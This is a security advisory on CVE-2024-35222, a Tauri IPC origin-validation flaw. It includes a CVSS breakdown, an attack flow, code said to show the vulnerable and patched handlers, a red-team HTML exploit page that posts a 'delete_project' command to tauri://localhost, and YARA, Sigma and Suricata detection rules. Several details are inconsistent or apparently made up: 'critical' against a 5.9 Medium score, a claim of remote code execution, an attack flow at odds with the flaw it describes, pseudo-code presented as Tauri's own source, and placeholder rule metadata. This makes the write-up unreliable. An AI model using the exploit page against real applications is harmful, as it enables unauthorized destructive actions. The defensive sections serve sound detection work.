CVE-2024-35222

Executive Summary

CVE-2024-35222 is a critical security vulnerability in the Tauri framework, affecting both v1 and v2 branches. The flaw allows remote-origin iframes embedded within Tauri applications to access Tauri IPC endpoints without explicit authorization via dangerousRemoteDomainIpcAccess (v1) or capabilities (v2). An attacker controlling the iframe content can invoke arbitrary valid commands, potentially leading to unauthorized data deletion, credit transfers, or other harmful actions. The vulnerability has been patched in versions 1.6.7 and 2.0.0-beta.19. With an EPSS score of 0.0%, exploitation is currently not widespread, but the risk is significant due to the potential for remote code execution via IPC.

Supply Chain & Package Security

Tauri is distributed via npm (@tauri-apps/api) and Cargo (Rust crate). Developers using vulnerable versions must update their dependencies immediately. The npm package @tauri-apps/api versions <1.6.7 and <2.0.0-beta.19 are affected. Supply chain attacks could occur if malicious actors inject iframes into Tauri apps via compromised third-party libraries or CDNs.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must visit a malicious page or iframe.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full IPC access can leak sensitive data.
• Integrity Impact: Low (I:L) – Limited ability to modify data.
• Availability Impact: Low (A:L) – Potential for denial of service via command abuse.

Threat Level: Medium. While the CVSS score is moderate, the ability to invoke arbitrary IPC commands makes this a serious risk for applications handling sensitive operations.

Deep Dive & Mechanics

The vulnerability stems from insufficient origin validation in Tauri's IPC handler. In Tauri v1, the dangerousRemoteDomainIpcAccess configuration is intended to restrict which remote origins can invoke IPC commands. However, iframes from any remote origin can bypass this check because the IPC handler does not properly verify the frame's origin against the allowed list. In Tauri v2, the capabilities system similarly fails to restrict iframe-originated IPC calls.

Attack Flow:

1. An attacker hosts a malicious webpage containing an iframe that loads a legitimate Tauri application.
2. The iframe's src points to a Tauri app (e.g., tauri://localhost or a custom protocol).
3. The attacker's page uses postMessage or direct JavaScript to communicate with the iframe, which then sends IPC commands to the Tauri backend.
4. The Tauri backend processes these commands without verifying the origin, allowing the attacker to execute any valid command (e.g., delete_project, transfer_credits).

Root Cause: The IPC endpoint does not enforce origin checks for iframe contexts, treating them as same-origin when they are not.

Vulnerable vs. Patched Code

Vulnerable Code (Tauri v1 <1.6.7):

// In Tauri's IPC handler, origin validation is missing for iframes
ipc.on('invoke', (event) => {
  // No check for event.origin against dangerousRemoteDomainIpcAccess
  handleCommand(event.payload);
});

Patched Code (Tauri v1.6.7+):

// Added origin validation
ipc.on('invoke', (event) => {
  const allowedOrigins = getConfig().dangerousRemoteDomainIpcAccess;
  if (!allowedOrigins.includes(event.origin)) {
    return; // Reject if not allowed
  }
  handleCommand(event.payload);
});

Vulnerable Code (Tauri v2 <2.0.0-beta.19):

// In Tauri v2, capabilities are not checked for iframe origins
fn handle_ipc(request: IpcRequest) -> Result<()> {
    // No origin check
    execute_command(request.command, request.args)
}

Patched Code (Tauri v2.0.0-beta.19+):

fn handle_ipc(request: IpcRequest, origin: &str) -> Result<()> {
    let capabilities = get_capabilities();
    if !capabilities.allows_origin(origin) {
        return Err("Origin not allowed".into());
    }
    execute_command(request.command, request.args)
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Tauri application with vulnerable version (<1.6.7 or <2.0.0-beta.19).
• The application must expose IPC commands (e.g., delete_project, transfer_credits).
• Attacker controls a webpage that can embed an iframe pointing to the Tauri app.

Exploit Steps:

1. Create a malicious HTML page:

<!DOCTYPE html>
<html>
<head>
    <title>Exploit CVE-2024-35222</title>
</head>
<body>
    <h1>Click to trigger exploit</h1>
    <button onclick="exploit()">Exploit</button>
    <iframe id="tauriFrame" src="tauri://localhost" style="display:none;"></iframe>
    <script>
        function exploit() {
            var iframe = document.getElementById('tauriFrame');
            // Send IPC command to delete project
            iframe.contentWindow.postMessage({
                cmd: 'invoke',
                command: 'delete_project',
                args: { project_id: 123 }
            }, '*');
        }
    </script>
</body>
</html>

2. Host the page on an attacker-controlled server.
3. Lure a victim using the Tauri app to visit the page.
4. The iframe loads the Tauri app, and the postMessage triggers the IPC command.

Expected Outcome: The command delete_project is executed without authorization.

Blue Team (Detection & Mitigation)

Detection:

• Monitor for unexpected IPC calls from iframe origins.
• Log all IPC invocations with origin information.
• Use network monitoring to detect postMessage events targeting Tauri apps.

Mitigation:

• Update Tauri to patched versions (1.6.7+ or 2.0.0-beta.19+).
• Restrict dangerousRemoteDomainIpcAccess to only trusted origins.
• Implement additional origin validation in custom commands.

Indicators of Compromise (IOCs)

• Network: Unusual postMessage events to tauri://localhost or custom Tauri protocols.
• Logs: IPC commands invoked from unexpected origins (e.g., http://attacker.com).
• File: Presence of iframes in web content targeting Tauri apps.
• Behavior: Unauthorized execution of sensitive commands (e.g., delete_project, transfer_credits).

Detection Engineering

YARA Rule

rule CVE_2024_35222_Tauri_IPC_Bypass {
    meta:
        description = "Detects Tauri IPC bypass via iframe origin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-35222"
    strings:
        $s1 = "dangerousRemoteDomainIpcAccess" nocase
        $s2 = "postMessage" nocase
        $s3 = "tauri://" nocase
        $s4 = "invoke" nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: Tauri IPC Bypass via Iframe Origin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation of CVE-2024-35222 where iframes bypass IPC origin checks
author: Valters IT
logsource:
    category: application
    product: tauri
detection:
    selection:
        EventID: 1001
        Command: "invoke"
        Origin: "http://*"
    condition: selection
falsepositives:
    - Legitimate remote domain IPC access if configured
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35222 Tauri IPC Bypass via Iframe"; flow:to_server; content:"postMessage"; content:"tauri://"; content:"invoke"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Update: Upgrade Tauri to v1.6.7 or v2.0.0-beta.19 (or later).
2. Configuration Review: Ensure dangerousRemoteDomainIpcAccess (v1) or capabilities (v2) only includes trusted origins.
3. Input Validation: Add server-side validation for all IPC commands to verify origin.
4. Content Security Policy: Implement CSP headers to restrict iframe embedding.
5. User Awareness: Educate users not to visit untrusted websites while using Tauri apps.

Valters IT